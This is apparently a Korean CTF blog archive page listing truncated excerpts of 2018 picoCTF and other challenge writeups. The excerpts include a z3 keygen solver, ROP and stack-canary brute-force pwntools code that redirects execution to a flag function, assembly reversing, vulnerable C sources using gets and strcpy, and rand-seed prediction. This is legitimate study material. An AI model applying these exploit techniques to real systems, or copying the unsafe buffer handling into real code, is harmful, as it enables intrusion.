일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
- Read
- 2018
- format
- shellcode
- TUCTF
- Toddler's Bottle
- string
- Bottle
- Bug
- reversing
- Leak
- anti
- FSB
- ASM
- CTF
- practicalmalwareanalysis
- pwn
- picoCTF
- CANARY
- pwnable
- pico
- writeup
- Reverse
- shellcraft
- PMA
- toddler
- pwnable.kr
- Rookiss
- rev
- BOF
- Today
- Total
목록2018 (36)
제리의 블로그
keygen-me-2 - Points: 750 - (Solves: 105) 요약 z3 solver 로 풀었습니다. Description The software has been updated. Can you find us a new product key for the program in /problems/keygen-me-2_4_3cb8c5fbaa87ce402753132dd68f9003solve.py from z3 import * ord = lambda a1 : If(And(0x41
picoCTF 2018 can-you-gets-me Binary Exploitation 요약바이너리가 static compile 되어있어서 ROP gadget 모으기 수월하다.입력받는 함수는 gets로 입력 길이 제한이 없다. DescriptionCan you exploit the following program to get a flag? You may need to think return-oriented if you want to program your way to the flag. You can find the program in /problems/can-you-gets-me_2_da0270478f868f229487e59ee4a8cf40 on the shell server. Source. 플래그를 얻..
요약4바이트 길이의 canary 값이 고정되어 있기 때문에 1바이트씩 '\x00' 부터 '\xff' 까지 넣어봐서 "stack smash" 가 뜨는지 확인하면 "4xV," 가 canary 임을 알 수 있고 이제 RET에 flag를 출력해주는 함수 elf.sym.win 로 덮어씌워주면 해결된다. from pwn import * import string import sys #context.log_level = 'error' e = ELF('./vuln') CANARY = '4xV,' CANARY_LEN = len(CANARY) print(CANARY_LEN) len = 32 + CANARY_LEN + 0x10 + 4 #for c in range(0x100): p = process('./vuln') p.rec..
Description What does asm3(0xb3fb1998,0xfe1a474d,0xd5373fd4) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/assembly-3_0_64e940c92852f106e798ceac9b22aa25. end_asm_rev.S: .intel_syntax noprefix .bits 32 .global asm3 asm3: push ebp mov ebp,esp mov eax,0x..
programSource #include #include #include #include #include #define BUFSIZE 148 #define FLAGSIZE 128 void vuln(char *buf){ gets(buf); puts(buf); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid); char buf[BUFSIZE]; puts("Enter a string!"); vu..
program void *read_input() { void *result; // eax@2 int v1; // edx@4 void *v2; // [sp+0h] [bp-18h]@1 char v3; // [sp+4h] [bp-14h]@1 int v4; // [sp+8h] [bp-10h]@1 int v5; // [sp+Ch] [bp-Ch]@1 v5 = *MK_FP(__GS__, 20); v2 = 0; v4 = getline(&v2, &v3, stdin); if ( v4 == -1 ) { puts("No line read..."); result = &unk_8048882; } else { result = v2; } v1 = *MK_FP(__GS__, 20) ^ v5; return result; } int do..
void header() { unsigned int i; // [sp+Ch] [bp-4h]@1 puts("Be Quick Or Be Dead 1"); for ( i = 0; i
programSource #include #include #include #include #define FLAGSIZE_MAX 64 char flag[FLAGSIZE_MAX]; void sigsegv_handler(int sig) { fprintf(stderr, "%s\n", flag); fflush(stderr); exit(1); } void vuln(char *input){ char buf[16]; strcpy(buf, input); } int main(int argc, char **argv){ FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please con..
요약이 문제는 c 언어 라이브러리의 srand, rand 에 대한 문제로seed 값을 알아낼 수 있다면 풀 수 있습니다. 바이너리를 리버싱해보면현재 시간을 이용하여 seed 를 넣고 있다는 것을 알 수 있으므로같은 seed 값을 넣고 난수 생성을 100번 해주면 되는 문제입니다. writeup evenMoreLucky_exploit# nc 167.99.143.206 65032 Hello, there! What is your name? j3rrry I am glad to know you, j3rrry! Server time: 153761 If you guess the next 100 random numbers I shall give you the flag! What number am I thinking o..
요약이 문제는 c 라이브러리의 rand() 함수의 seed 값을 BOF 를 이용하여 덮어씌우고100개의 rand() 값을 맞추는 문제입니다. 입력받은 name 을 strcpy 로 스택영역에 복사하는데입력 길이 제한이 없기 때문에 overflow 하여 seed 값으로 이용되는 지역변수를 덮어씌워줍니다. 그 후부터는 seed 값을 알게된 셈이므로rand() 값을 100번 인증하면 됩니다. writeup lucky_exploit# nc 167.99.143.206 65031 Hello, there! What is your name? j3rrry I am glad to know you, j3rrry! If you guess the next 100 random numbers I shall give you the f..